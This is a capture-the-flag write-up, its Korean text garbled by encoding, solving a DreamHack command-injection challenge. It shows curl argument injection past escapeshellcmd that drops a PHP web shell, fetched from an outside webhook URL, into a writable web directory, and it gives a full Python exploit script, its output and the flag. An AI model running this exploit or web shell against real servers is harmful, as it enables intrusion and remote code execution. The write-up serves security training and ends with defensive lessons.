๋ฌธ์ : DreamHack โ Command Injection Advanced ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{8ca5256a49452e4db9de7691a9c69b7678271383}
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Command Injection Advanced |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | Web (PHP + Apache) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | index.php, flag.c, Dockerfile / http://<instance-host>:<port>/ (์ธ์คํด์ค๋ง๋ค ๋ณ๊ฒฝ) |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | escapeshellcmd ๊ณต๋ฐฑ ๋ฏธ์ฐจ๋จ โ curl ์ธ์ ์ฃผ์ โ ์น์ ธ RCE |
์
๋ ฅํ URL์ ์๋ฒ๊ฐ curl๋ก ๊ฐ์ ธ์ ๋ณด์ฌ์ฃผ๋ "Online Curl Request" ์๋น์ค๋ค. ์
๋ ฅ์ escapeshellcmd๋ก ํ ๋ฒ ๊ฑธ๋ฌ์ง๋ค. ์ธ๋ฏธ์ฝ๋ก ์ด๋ ํ์ดํ๋ก ์ ๋ช
๋ น์ ๋ถ์ด๋ ํ๋ฒํ ์ปค๋งจ๋ ์ธ์ ์
์ ๋งํ๋ค. ๊ทธ๋์ Advanced๋ค.

๐ฌ ๋ถ์ โ ๋ง์ ๊ฒ๊ณผ ์ ๋ง์ ๊ฒ
index.php์ ํต์ฌ์ ์ด ๋ช ์ค์ด๋ค.
if(isset($_GET['url'])){
$url = $_GET['url'];
if(strpos($url, 'http') !== 0 ){
die('http only !'); // url ์ "http" ๋ก ์์ํด์ผ ํจ
}else{
$result = shell_exec('curl '. escapeshellcmd($_GET['url']));
$cache_file = './cache/'.md5($url);
file_put_contents($cache_file, $result); // ๊ฒฐ๊ณผ๋ฅผ cache ์ ์ ์ฅ
echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
echo '<pre>'. htmlentities($result) .'</pre>';
}
}escapeshellcmd๋ ์
ธ ๋ฉํ๋ฌธ์(;, |, &, $, ๋ฐฑํฑ, (), <> ๋ฑ)๋ฅผ ๋ฐฑ์ฌ๋์๋ก ๋ง๋๋ค. ๊ทธ๋์ curl http://x; cat /flag ๊ฐ์ ๋ช
๋ น ๋ถ๋ฆฌ๋ ํตํ์ง ์๋๋ค.
๊ทธ๋ฐ๋ฐ ์ด ํจ์๊ฐ ๊ฑด๋๋ฆฌ์ง ์๋ ๋ฌธ์๊ฐ ์๋ค. ๊ณต๋ฐฑ, ํ์ดํ(-), ์ฌ๋์(/), ์ (.)์ด๋ค. ์ ๋ช
๋ น์ ๋ชป ๋ถ์ฌ๋, ๊ณต๋ฐฑ์ผ๋ก ๋จ์ด๋ฅผ ๋๋๋ฉด curl์ ์ธ์๋ฅผ ๋ ๋๊ธธ ์ ์๋ค. curl <url> -o <path> ์ฒ๋ผ.
flag.c๋ฅผ ๋ณด๋ฉด ํ๋๊ทธ๋ฅผ ๊ทธ๋ฅ ์ฝ์ ์๋ ์๋ค.
void main(){ puts("DH{**flag**}\n"); }Dockerfile์์ ์ด๊ฑธ ์ปดํ์ผํด /flag ๋ฐ์ด๋๋ฆฌ๋ก ๋ง๋ค๊ณ chmod 111์ ์ค๋ค. ์คํ ๊ถํ๋ง ์๊ณ ์ฝ๊ธฐ ๊ถํ์ด ์๋ค. ๊ทธ๋ฌ๋ ํ์ผ์ cat ํ๋ ๊ฒ ์๋๋ผ ์คํํด์ผ ํ๋๊ทธ๊ฐ ๋์จ๋ค. ๋จ์ ํ์ผ ์ฝ๊ธฐ๋ก๋ ์ ๋๊ณ ๋ช
๋ น ์คํ(RCE)์ด ํ์ํ๋ค.
curl ์์ฒด๋ ํ๋ก๊ทธ๋จ์ ์คํํ์ง ๋ชปํ๋ค. ๋์ cache/ ๋๋ ํฐ๋ฆฌ๊ฐ chmod 777์ ์น๋ฃจํธ ์๋๋ผ๋ ์ ์ ์ด๋ค. curl์ -o๋ก PHP ์น์
ธ์ ๊ฑฐ๊ธฐ์ .php๋ก ๋จ๊ตฌ๋ฉด, ๊ทธ ์น์
ธ์ด PHP๋ก ์คํ๋๋ฉด์ /flag๋ฅผ ๋๋ ค์ค๋ค.
curl์ด ์ธ๋ถ URL์ ๊ฐ์ ธ์ ๊ฒฐ๊ณผ๋ฅผ ๊ทธ๋๋ก ๋ฐ์ฌยท์บ์ํ๋ค๋ ๊ฒ๋ถํฐ ํ์ธ๋๋ค.


๐ฃ ํต์ฌ โ curl -o๋ก ์น์ ธ์ cache์ ๋จ๊ตฐ๋ค
๋จผ์ ์ธ๋ถ์ PHP ์น์
ธ์ ์๋ตํ๋ endpoint๋ฅผ ํ๋ ๋๋ค. webhook.site์ ๊ธฐ๋ณธ ์๋ต์ <?php system($_GET['cmd']); ?>๋ก ์ค์ ํด ๋๋ฉด, ๊ทธ URL์ GETํ ๋๋ง๋ค ์ด ์ฝ๋๊ฐ ๊ทธ๋๋ก ๋ด๋ ค์จ๋ค.
์ด์ url ํ๋ผ๋ฏธํฐ์ webhook ์ฃผ์๋ฅผ ๋ฃ๊ณ , ๊ณต๋ฐฑ์ผ๋ก -o์ ์ ์ฅ ๊ฒฝ๋ก๋ฅผ ์ด์ด ๋ถ์ธ๋ค.
?url=https://webhook.site/<uuid> -o /var/www/html/cache/s.phpescapeshellcmd๋ฅผ ๊ฑฐ์ณ๋ ๊ณต๋ฐฑยท-ยท/ยท.๋ ์ด์๋จ์ผ๋ฏ๋ก, ์๋ฒ์์ ์ค์ ์คํ๋๋ ๋ช
๋ น์ ์ด๋ ๊ฒ ๋๋ค.
curl https://webhook.site/<uuid> -o /var/www/html/cache/s.phpcurl์ด webhook์ ์๋ต(์ฐ๋ฆฌ PHP ์น์
ธ)์ ๋ฐ์ cache/s.php์ ๊ทธ๋๋ก ์ด๋ค. .php ํ์ฅ์๋ผ Apache๊ฐ PHP๋ก ์คํํด์ค๋ค. RCE๊ฐ ์๊ธด ๊ฒ์ด๋ค.
GET /cache/s.php?cmd=id โ uid=33(www-data) gid=33(www-data) ...
๋จ์ ๊ฑด /flag๋ฅผ ์คํํ๋ ๊ฒ๋ฟ์ด๋ค. ์ฝ๊ธฐ๋ ๋งํ ์์ด๋ ์คํ์ ๋๋, cmd=/flag๋ก ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋๋ฆฌ๋ฉด ์ถ๋ ฅ์ด ๊ทธ๋๋ก ์๋ต์ ๋ด๊ธด๋ค.

๐ Full Exploit
์น์
ธ ๋๋กญ โ RCE ํ์ธ โ /flag ์คํ์ ํ ๋ฒ์ ๋ฌถ์ ์๋ฒ๋ค.
#!/usr/bin/env python3
import re, requests
BASE = "http://host3.dreamhack.games:15173"
SHELL_SRC = "https://webhook.site/<uuid>" # ๊ธฐ๋ณธ ์๋ต: <?php system($_GET['cmd']); ?>
SHELL_PATH = "/var/www/html/cache/s.php"
# 1) curl ์ธ์ ์ฃผ์
โ url ๋ค์ ๊ณต๋ฐฑ+`-o <๊ฒฝ๋ก>` ๋ก ์น์
ธ์ cache/s.php ์ ์ ์ฅ
inject = f"{SHELL_SRC} -o {SHELL_PATH}"
requests.get(f"{BASE}/", params={"url": inject}, timeout=20)
# 2) ๋จ๊ตฐ ์น์
ธ๋ก RCE ํ์ธ
r = requests.get(f"{BASE}/cache/s.php", params={"cmd": "id"}, timeout=20)
print("[*] id:", r.text.strip())
# 3) ์คํ์ ์ฉ ๋ฐ์ด๋๋ฆฌ /flag ์คํ โ ํ๋๊ทธ
r = requests.get(f"{BASE}/cache/s.php", params={"cmd": "/flag"}, timeout=20)
print("[+] FLAG:", re.search(r"DH\{[^}]*\}", r.text).group(0))[*] ์น์
ธ ๋๋กญ ์์ฒญ -> HTTP 200
[*] RCE ํ์ธ (id): uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] /flag ์ถ๋ ฅ: 'DH{8ca5256a49452e4db9de7691a9c69b7678271383}'
[+] FLAG: DH{8ca5256a49452e4db9de7691a9c69b7678271383}
DH{8ca5256a49452e4db9de7691a9c69b7678271383}๐ ์ ๋ฆฌ
escapeshellcmd๋ ๋ช ๋ น ๋ถ๋ฆฌ๋ง ๋ง๋๋ค.
์ด๋ฆ ๋๋ฌธ์ "์
ธ์ ์์ ํ๊ฒ ๋ง๋ค์ด์ฃผ๋ ํจ์"๋ก ์คํดํ๊ธฐ ์ฝ๋ค. ์ค์ ๋ก๋ ๋ฉํ๋ฌธ์๋ฅผ ์ด์ค์ผ์ดํํด ์ ๋ช
๋ น์ ๋ชป ๋ถ์ด๊ฒ ํ ๋ฟ, ๊ณต๋ฐฑ์ผ๋ก ์ธ์๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ ๊ทธ๋๋ก ํ์ฉํ๋ค. ์ธ์ ํ๋๋ก ๋์์ด ์์ ํ ๋ฌ๋ผ์ง๋ curlยทtarยทffmpeg ๊ฐ์ ๋๊ตฌ ์์์๋ ์ด ๋ฐฉ์ด๊ฐ ๊ฑฐ์ ์๋ฏธ๊ฐ ์๋ค. ์ธ์๊ฐ ๊ณ ์ ๋ผ์ผ ํ๋ค๋ฉด escapeshellarg๋ก ๊ฐ์ ํต์งธ๋ก ๊ฐ์ธ๊ฑฐ๋, ์ ์ด์ ์
ธ์ ๊ฑฐ์น์ง ์๋ API๋ฅผ ์จ์ผ ํ๋ค.
์ฐ๊ธฐ ๊ฐ๋ฅํ ์น๋ฃจํธ ๋๋ ํฐ๋ฆฌ๋ RCE๋ก ๊ฐ๋ ๋ค๋ฆฌ๋ค.
cache/๊ฐ chmod 777์ ์น๋ฃจํธ ์๋ ์์๊ธฐ ๋๋ฌธ์, ํ์ผ ํ๋ ๋จ๊ตฌ๋ ๊ฒ๋ง์ผ๋ก PHP ์คํ๊น์ง ์ด์ด์ก๋ค. ์
๋ก๋ยท์บ์ ๋๋ ํฐ๋ฆฌ๋ ์น๋ฃจํธ ๋ฐ์ ๋๊ฑฐ๋ ์คํฌ๋ฆฝํธ ์คํ์ ๋ง์์ผ ํ๋ค.
๋ชป ์ฝ์ผ๋ฉด ์คํํ๋ฉด ๋๋ค.
/flag๋ ์ฝ๊ธฐ ๊ถํ์ ๋ง์ cat์ ๋ฌด๋ ฅํํ์ง๋ง ์คํ ๊ถํ์ ๋จ๊ฒจ๋๋ค. ๊ถํ์ ์กฐ์ผ ๋๋ "์ฝ๊ธฐ๋ฅผ ๋ง์์ผ๋ ์์ ํ๋ค"๊ฐ ์๋๋ผ, ๊ทธ ํ์ผ๋ก ํ ์ ์๋ ๋ชจ๋ ๋์์ ํจ๊ป ๋ด์ผ ํ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ